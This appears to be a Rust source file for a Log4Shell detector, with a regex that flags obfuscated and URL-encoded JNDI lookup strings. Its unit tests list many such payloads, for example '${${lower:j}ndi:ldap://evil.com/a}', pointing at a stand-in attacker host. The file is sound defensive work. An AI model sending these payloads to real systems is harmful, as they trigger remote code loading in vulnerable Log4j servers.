1use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7const LOOKUP: &str =
12 r"(?:jndi|lower|upper|env|sys|date|java|main|ctx|base64|hostName|map|marker|spring)";
13
14static PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
21 Regex::new(
22 &[
23 r"(?i)\$\{(?:lower|upper)\s*:\s*[a-z]\s*\}",
25 r"|\$\{\s*::-?[a-z]{1,3}\s*\}",
27 r"|\$\{\s*",
30 LOOKUP,
31 r"\s*:[^{}]{0,120}\}\s*[a-z]{0,4}ndi\s*[:/{]",
32 r"|\$\{\s*[^{}]{0,120}\$\{\s*",
34 LOOKUP,
35 r"\s*:",
36 r"|%24%7b\s*",
38 LOOKUP,
39 r"\s*(?::|%3a).{0,120}%7d.{0,4}ndi",
40 r"|%24%7b\s*jndi\s*(?::|%3a)",
46 ]
47 .concat(),
48 )
49 .unwrap()
50});
51
52pub struct Log4ShellDetector;
53
54impl Detector for Log4ShellDetector {
55 fn name(&self) -> &'static str {
56 "log4shell"
57 }
58
59 fn detect(&self, input: &str) -> Option<DetectionResult> {
60 regex_detect(
61 std::slice::from_ref(&*PATTERNS),
62 self.name(),
63 AttackCategory::Protocol,
64 Severity::Critical,
65 "Log4Shell lookup obfuscation detected",
66 input,
67 )
68 }
69}
70
71#[cfg(test)]
72mod tests {
73 use super::*;
74 use crate::test_helpers::{assert_clean, assert_detected};
75
76 fn det() -> Log4ShellDetector {
77 Log4ShellDetector
78 }
79
80 fn assert_hit(input: &str) {
81 assert_detected(&det(), input, AttackCategory::Protocol, Severity::Critical);
82 }
83
84 #[test]
85 fn name_is_log4shell() {
86 assert_eq!(det().name(), "log4shell");
87 }
88
89 #[test]
90 fn detects_case_folding_lookup() {
91 for input in [
92 "${lower:j}ndi:ldap://evil.com/a}",
93 "${upper:j}NDI:rmi://evil.com/a}",
94 "${lower:j}",
95 "${upper:J}",
96 ] {
97 assert_hit(input);
98 }
99 }
100
101 #[test]
102 fn detects_prefix_collapse_lookup() {
103 for input in [
104 "${::-j}ndi:ldap://evil.com/a}",
105 "${::-j}",
106 "${::-J}ndi:dns://evil.com}",
107 ] {
108 assert_hit(input);
109 }
110 }
111
112 #[test]
113 fn detects_lookup_then_ndi_tail() {
114 for input in [
115 "${env:BARFOO:-j}ndi:ldap://evil.com/a}",
116 "${sys:user.name}ndi:ldap://evil.com/a}",
117 "${date:'j'}ndi:ldap://evil.com/a}",
118 "${java:version}ndi://evil.com/x}",
119 ] {
120 assert_hit(input);
121 }
122 }
123
124 #[test]
125 fn detects_nested_lookup() {
126 for input in [
127 "${${lower:j}ndi:ldap://evil.com/a}",
128 "${${env:FOO:-ldap}://evil.com/a}",
129 "${${sys:x}${lower:j}}",
130 ] {
131 assert_hit(input);
132 }
133 }
134
135 #[test]
136 fn detects_url_encoded_payload() {
137 for input in [
138 "%24%7Blower%3Aj%7Dndi:ldap://evil.com/a",
139 "%24%7B%24%7Blower%3Aj%7Dndi%3Aldap%3A%2F%2Fevil.com%7D",
140 ] {
141 assert_hit(input);
142 }
143 }
144
145 #[test]
146 fn detects_fully_url_encoded_jndi() {
147 for input in [
148 "%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%7D",
149 "%24%7Bjndi:ldap://evil.com/a%7D",
150 "%24%7bJNDI%3Armi%3A%2F%2Fevil.com%2Fx%7D",
151 ] {
152 assert_hit(input);
153 }
154 }
155
156 #[test]
158 fn ignores_encoded_non_jndi_lookups() {
159 for input in [
160 "%24%7Buser%7D",
161 "%7Bjndi%7D 只是编码过的花括号",
162 "%24%7Bdate%3Ayyyy-MM-dd%7D 是编码后的日期占位符",
163 "https://example.com/?filter=%24%7Bname%7D",
164 ] {
165 assert_clean(&det(), input);
166 }
167 }
168
169 #[test]
170 fn ignores_benign_inputs() {
171 for input in [
172 "Hello, this is a normal text input. Nothing suspicious here.",
173 "the price is ${amount}",
174 "The total is ${total} dollars, tax is ${tax}.",
175 "cost: $10",
176 "const x = `${name}`; // 模板字符串",
177 "printf(\"%s\", ${var});",
178 "${date:yyyy-MM-dd} 是 log4j 的日期占位符",
179 "${env:JAVA_HOME} 读取环境变量",
180 "url: http://example.com/?q=%24%7Bfoo%7D",
181 ] {
182 assert_clean(&det(), input);
183 }
184 }
185
186 #[test]
187 fn ignores_shell_default_and_alternate_expansions() {
188 for input in [
191 "echo ${A:-${B}}",
192 "echo ${VAR:?${OTHER}}",
193 "make: ${CC:-${CROSS_COMPILE}gcc}",
194 "echo \"${PATH:+${PATH}:/opt}\"",
195 ] {
196 assert_clean(&det(), input);
197 }
198 }
199
200 #[test]
201 fn ignores_short_suffix_before_ndi() {
202 for input in ["${x}ndi/x", "${x}indi:", "${x}hindi:", "${name}andi: 你好"] {
205 assert_clean(&det(), input);
206 }
207 }
208
209 #[test]
210 fn edge_cases() {
211 assert_clean(&det(), "");
212 assert_clean(&det(), " ");
213 assert_clean(&det(), "你好世界 こんにちは");
214 assert_clean(&det(), "lower:j}ndi:ldap://evil.com");
216 assert_clean(&det(), "${lower:jndi:ldap://evil.com}");
217 assert_clean(&det(), "${ndi:ldap://evil.com}");
218 }
219}